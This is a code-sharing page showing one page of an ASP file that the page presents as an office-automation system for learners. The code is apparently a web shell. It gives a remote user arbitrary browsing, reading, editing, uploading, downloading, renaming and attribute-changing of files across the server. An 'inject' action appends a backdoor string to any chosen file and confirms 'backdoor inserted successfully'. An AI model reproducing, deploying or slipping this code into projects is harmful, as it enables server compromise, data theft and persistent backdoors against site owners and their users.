📄 hu.asp

📁 我的一个oa用asp编写的系统可能对那些学习asp的人员有用。
💻 ASP
📖 第 1 页 / 共 5 页
字号:
		strTitle = strTitle & "大小: " & getTheSize(theOne.Size) & vbNewLine
		strTitle = strTitle & "属性: " & getAttributes(theOne.Attributes) & vbNewLine
		strTitle = strTitle & "创建时间: " & theOne.DateCreated & vbNewLine
		strTitle = strTitle & "最后修改: " & theOne.DateLastModified & vbNewLine
		strTitle = strTitle & "最后访问: " & theOne.DateLastAccessed
		getMyTitle = strTitle
	End Function

	Sub setMyTitle(theOne)
		Dim i, myAttributes
		
		For i = 1 To Request("attributes").Count
			myAttributes = myAttributes + CInt(Request("attributes")(i))
		Next
		theOne.Attributes = myAttributes
		
		chkErr(Err)
		echo  "<script>alert('该文件(夹)属性已按正确设置修改完成!');</script>"
	End Sub

	Function getAttributes(intValue)
		Dim strAtt
		strAtt = "<input type=checkbox name=attributes value=4 {$system}>系统 "
		strAtt = strAtt & "<input type=checkbox name=attributes value=2 {$hidden}>隐藏 "
		strAtt = strAtt & "<input type=checkbox name=attributes value=1 {$readonly}>只读&nbsp;&nbsp;&nbsp;"
		strAtt = strAtt & "<input type=checkbox name=attributes value=32 {$archive}>存档<br/>　　&nbsp; "
		strAtt = strAtt & "<input type=checkbox name=attributes {$normal} value=0>普通 "
		strAtt = strAtt & "<input type=checkbox name=attributes value=128 {$compressed}>压缩 "
		strAtt = strAtt & "<input type=checkbox name=attributes value=16 {$directory}>文件夹&nbsp;"
		strAtt = strAtt & "<input type=checkbox name=attributes value=64 {$alias}>快捷方式"
'		strAtt = strAtt & "<input type=checkbox name=attributes value=8 {$volume}>卷标 "
		If intValue = 0 Then
			strAtt = Replace(strAtt, "{$normal}", "checked")
		End If
		If intValue >= 128 Then
			intValue = intValue - 128
			strAtt = Replace(strAtt, "{$compressed}", "checked")
		End If
		If intValue >= 64 Then
			intValue = intValue - 64
			strAtt = Replace(strAtt, "{$alias}", "checked")
		End If
		If intValue >= 32 Then
			intValue = intValue - 32
			strAtt = Replace(strAtt, "{$archive}", "checked")
		End If
		If intValue >= 16 Then
			intValue = intValue - 16
			strAtt = Replace(strAtt, "{$directory}", "checked")
		End If
		If intValue >= 8 Then
			intValue = intValue - 8
			strAtt = Replace(strAtt, "{$volume}", "checked")
		End If
		If intValue >= 4 Then
			intValue = intValue - 4
			strAtt = Replace(strAtt, "{$system}", "checked")
		End If
		If intValue >= 2 Then
			intValue = intValue - 2
			strAtt = Replace(strAtt, "{$hidden}", "checked")
		End If
		If intValue >= 1 Then
			intValue = intValue - 1
			strAtt = Replace(strAtt, "{$readonly}", "checked")
		End If
		getAttributes = strAtt
	End Function

	Sub showEdit(thePath, strMethod)
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Dim theFile, unEditableExt
		
		If Right(thePath, 1) = "\" Then
			alertThenClose("编辑文件夹操作是非法的.")
			Response.End
		End If
		
		unEditableExt = "$exe$dll$bmp$wav$mp3$wma$ra$wmv$ram$rm$avi$mgp$png$tiff$gif$pcx$jpg$com$msi$scr$rar$zip$ocx$sys$mdb$"
		
		echo "<style>body{border:none;overflow:hidden;background-color:buttonface;}</style>"
		echo "<body topmargin=9>"
		echo "<form method=post style='margin:0;width:100%;height:100%;'>"
		echo "<textarea name=fileContent style='width:100%;height:90%;'>"
		If strMethod = "stream" Then
			echo HtmlEncode(streamLoadFromFile(thePath))
		 Else
			Set theFile = fsoX.OpenTextFile(thePath, 1)
			echo HtmlEncode(theFile.ReadAll())
			theFile.Close
			Set theFile = Nothing
		End If
		echo "</textarea><hr/>"
		echo "<div align=right>"
		echo "保存为:<input size=30 name=thePath value=""" & HtmlEncode(thePath) & """> "
		echo "<input type=checkbox name='windowStatus' id=windowStatus"
		If Request.Cookies(m & "windowStatus") = "True" Then
			echo " checked"
		End If
		echo "><label for=windowStatus>保存后关闭窗口</label> "
		echo "<input type=submit value=' 保存 '><input type=hidden value='saveFile' name=theAct>"
		echo "<input type=reset value=' 恢复 '>"
		echo "<input type=button value=' 清空 ' onclick=this.form.fileContent.innerText='';>"
		echo strJsCloseMe & "</div>"
		echo "</form>"
		echo "</body><br/>"
		
	End Sub

	Sub saveToFile(thePath, strMethod)
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Dim fileContent, windowStatus
		fileContent = Request("fileContent")
		windowStatus = Request("windowStatus")
		
		If strMethod = "stream" Then
			streamSaveToFile thePath, fileContent
			chkErr(Err)
		 Else
			fsoSaveToFile thePath, fileContent
			chkErr(Err)
		End If
		
		If windowStatus = "on" Then
			Response.Cookies(m & "windowStatus") = "True"
			Response.Write "<script>window.close();</script>"
		 Else
			Response.Cookies(m & "windowStatus") = "False"
			Call showEdit(thePath, strMethod)
		End If
	End Sub

	Sub fsoSaveToFile(thePath, fileContent)
		Dim theFile
		Set theFile = fsoX.OpenTextFile(thePath, 2, True)
		theFile.Write fileContent
		theFile.Close
		Set theFile = Nothing
	End Sub

	Sub openUrl(usePath)
		Dim theUrl, thePath
		
		thePath = Server.MapPath("/")
		
		If LCase(Left(usePath, Len(thePath))) = LCase(thePath) Then
			theUrl = Mid(usePath, Len(thePath) + 1)
			theUrl = Replace(theUrl, "\", "/")
			If Left(theUrl, 1) = "/" Then
				theUrl = Mid(theUrl, 2)
			End If
			Response.Redirect("/" & theUrl)
		 Else
			alertThenClose("您所要打开的文件不在本站点目录下\n您可以尝试把要打开(下载)的文件粘贴到\n站点目录下,然后再打开(下载)!")
			Response.End
		End If
	End Sub

	Sub downTheFile(thePath)
		Response.Clear
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Dim stream, fileName, fileContentType

		fileName = split(thePath,"\")(uBound(split(thePath,"\")))
		Set stream = Server.CreateObject("adodb.stream")
		stream.Open
		stream.Type = 1
		stream.LoadFromFile(thePath)
		chkErr(Err)
		Response.AddHeader "Content-Disposition", "attachment; filename=" & fileName
		Response.AddHeader "Content-Length", stream.Size
		Response.Charset = "UTF-8"
		Response.ContentType = "application/octet-stream"
		Response.BinaryWrite stream.Read 
		Response.Flush
		stream.Close
		Set stream = Nothing
	End Sub

	Sub showUpload(thePath, pageName)
		echo "<style>body{margin:8;overflow:hidden;}</style>"
		echo "<form method=post enctype='multipart/form-data' action='?pageName=" & pageName & "&theAct=upload&thePath=" & UrlEncode(thePath) & "' onsubmit='this.Submit.disabled=true;;'>"
		echo "上传文件: <input name=file type=file size=31><br/>保存为: "
		echo "<input name=fileName type=text value=""" & HtmlEncode(thePath) & """ size=33>"
		echo "<input type=checkbox name=writeMode value=True>覆盖模式<hr/>"
		echo "<input name=Submit type=submit id=Submit value='上 传' onClick=""this.form.action+='&fileName='+this.form.fileName.value+'&theFile='+this.form.file.value+'&overWrite='+this.form.writeMode.checked;"">"
		echo  strJsCloseMe
		echo "</form>"
	End Sub

	Sub streamUpload(thePath)
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Server.ScriptTimeOut = 5000
		Dim i, j, info, stream, streamT, theFile, fileName, overWrite, fileContent
		theFile = Request("theFile")
		fileName = Request("fileName")
		overWrite = Request("overWrite")

		If InStr(fileName, ":") <= 0 Then
			fileName = thePath & fileName
		End If

		Set stream = Server.CreateObject("adodb.stream")
		Set streamT = Server.CreateObject("adodb.stream")

		With stream
			.Type = 1
			.Mode = 3
			.Open
			.Write Request.BinaryRead(Request.TotalBytes)
			.Position = 0
			fileContent = .Read()
			i = InStrB(fileContent, chrB(13) & chrB(10))
			info = LeftB(fileContent, i - 1)
			i = Len(info) + 2
			i = InStrB(i, fileContent, chrB(13) & chrB(10) & chrB(13) & chrB(10)) + 4 - 1
			j = InStrB(i, fileContent, info) - 1
			streamT.Type = 1
			streamT.Mode = 3
			streamT.Open
			stream.position = i
			.CopyTo streamT, j - i - 2
			If overWrite = "true" Then
				streamT.SaveToFile fileName, 2
			 Else
				streamT.SaveToFile fileName
			End If
			If Err.Number = 3004 Then
				Err.Clear
				fileName = fileName & "\" & Split(theFile, "\")(UBound(Split(theFile ,"\")))
				If overWrite="true" Then
					streamT.SaveToFile fileName, 2
				 Else
					streamT.SaveToFile fileName
				End If
			End If
			chkErr(Err)
			echo("<script language=""javascript"">alert('文件上传成功!\n" & Replace(fileName, "\", "\\") & "');</script>")
			streamT.Close
			.Close
		End With
		
		Set stream = Nothing
		Set streamT = Nothing
	End Sub

	Function getFileIcon(extName)
		Select Case LCase(extName)
			Case "vbs", "h", "c", "cfg", "pas", "bas", "log", "asp", "txt", "php", "ini", "inc", "htm", "html", "xml", "conf", "config", "jsp", "java", "htt", "lst", "aspx", "php3", "php4", "js", "css", "asa"
				getFileIcon = "Wingdings>2"
			Case "wav", "mp3", "wma", "ra", "wmv", "ram", "rm", "avi", "mpg"
				getFileIcon = "Webdings>·"
			Case "jpg", "bmp", "png", "tiff", "gif", "pcx", "tif"
				getFileIcon = "'webdings'>&#159;"
			Case "exe", "com", "bat", "cmd", "scr", "msi"
				getFileIcon = "Webdings>1"
			Case "sys", "dll", "ocx"
				getFileIcon = "Wingdings>&#255;"
			Case Else
				getFileIcon = "'Wingdings 2'>/"
		End Select
	End Function

	Sub PageAppFileExplorer()
		Response.Buffer = True
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Dim strExtName, thePath, objFolder, objMember, strDetails, strPath, strNewName
		Dim intI, theAct, strTmp, strFolderList, strFileList, strFilePath, strFileName, strParentPath

		showTitle("Shell.Application文件浏览器(&stream)")

		theAct = Request("theAct")
		strNewName = Request("newName")
		thePath = Replace(LTrim(Request("thePath")), "\\", "\")
		
		If theAct <> "upload" Then
			If Request.Form.Count > 0 Then
				theAct = Request.Form("theAct")
				thePath = Replace(LTrim(Request.Form("thePath")), "\\", "\")
			End If
		End If

		echo "<style>body{margin:8;}</style>"
		
		Select Case theAct
			Case "openUrl"
				openUrl(thePath)
			Case "showEdit"
				Call showEdit(thePath, "stream")
			Case "saveFile"
				Call saveToFile(thePath, "stream")
			Case "copyOne", "cutOne"
				If thePath = "" Then
					alertThenClose("参数错误!")
					Response.End
				End If
				Session(m & "appThePath") = thePath
				Session(m & "appTheAct") = theAct
				alertThenClose("操作成功,请粘贴!")
			Case "pastOne"
				appDoPastOne(thePath)
				alertThenClose("粘贴成功,请刷新本页查看效果!")
			Case "rename"
				appRenameOne(thePath)
			Case "downTheFile"
				downTheFile(thePath)
			Case "theAttributes"
				appTheAttributes(thePath)
			Case "showUpload"
				Call showUpload(thePath, "AppFileExplorer")
			Case "upload"
				streamUpload(thePath)
				Call showUpload(thePath, "AppFileExplorer")
			Case "inject"
				strTmp = streamLoadFromFile(thePath)
				fsoSaveToFile thePath, strTmp & strBackDoor
				alertThenClose("后门插入成功!")
		End Select
		
		If theAct <> "" Then
			Response.End
		End If
		
		
		Set objFolder = saX.NameSpace(thePath)
		
		If Request.Form.Count > 0 Then
			redirectTo("?pageName=AppFileExplorer&thePath=" & UrlEncode(thePath))
		End If
		echo "<input type=hidden name=usePath /><input type=hidden value=AppFileExplorer name=pageName />"
		echo "<input type=hidden value=""" & HtmlEncode(thePath) & """ name=truePath />"
		echo "<div style='left:0px;width:100%;height:48px;position:absolute;top:2px;' id=fileExplorerTools>"
		echo "<input type=button value=' 打开 ' onclick='openUrl();'>"
		echo "<input type=button value=' 编辑 ' onclick='editFile();'>"
		echo "<input type=button value=' 复制 ' onclick=appDoAction('copyOne');>"
		echo "<input type=button value=' 剪切 ' onclick=appDoAction('cutOne');>"
		echo "<input type=button value=' 粘贴 ' onclick=appDoAction2('pastOne');>"
		echo "<input type=button value=' 上传 ' onclick='upTheFile();'>"
		echo "<input type=button value=' 下载 ' onclick='downTheFile();'>"
		echo "<input type=button value=' 属性 ' onclick='appTheAttributes();'>"
		echo "<input type=button value=' 插入 ' onclick=appDoAction('inject');>"
		echo "<input type=button value='重命名' onclick='appRename();'>"
		echo "<input type=button value='我的电脑' onclick=location.href='?pageName=AppFileExplorer&thePath='>"
		echo "<input type=button value='控制面板' onclick=location.href='?pageName=AppFileExplorer&thePath=::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\::{21EC2020-3AEA-1069-A2DD-08002B30309D}'>"
		echo "<form method=post action='?pageName=AppFileExplorer'>"
		echo "<input type=button value=' 后退 ' onclick='this.disabled=true;history.back();' />"
		echo "<input type=button value=' 前进 ' onclick='this.disabled=true;history.go(1);' />"
		echo "<input type=button value=站点根 onclick=location.href=""?pageName=AppFileExplorer&thePath=" & URLEncode(Server.MapPath("\")) & """;>"
		echo "<input style='width:60%;' name=thePath value=""" & HtmlEncode(thePath) & """ />"
		echo "<input type=submit value=' GO.' /><input type=button value=' 刷新 ' onclick='location.reload();'></form><hr/>"
		echo "</div><div style='height:50px;'></div>"
		echo "<script>fixTheLayer('fileExplorerTools');setInterval(""fixTheLayer('fileExplorerTools');"", 200);</script>"

		For Each objMember In objFolder.Items
			intI = intI + 1
⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -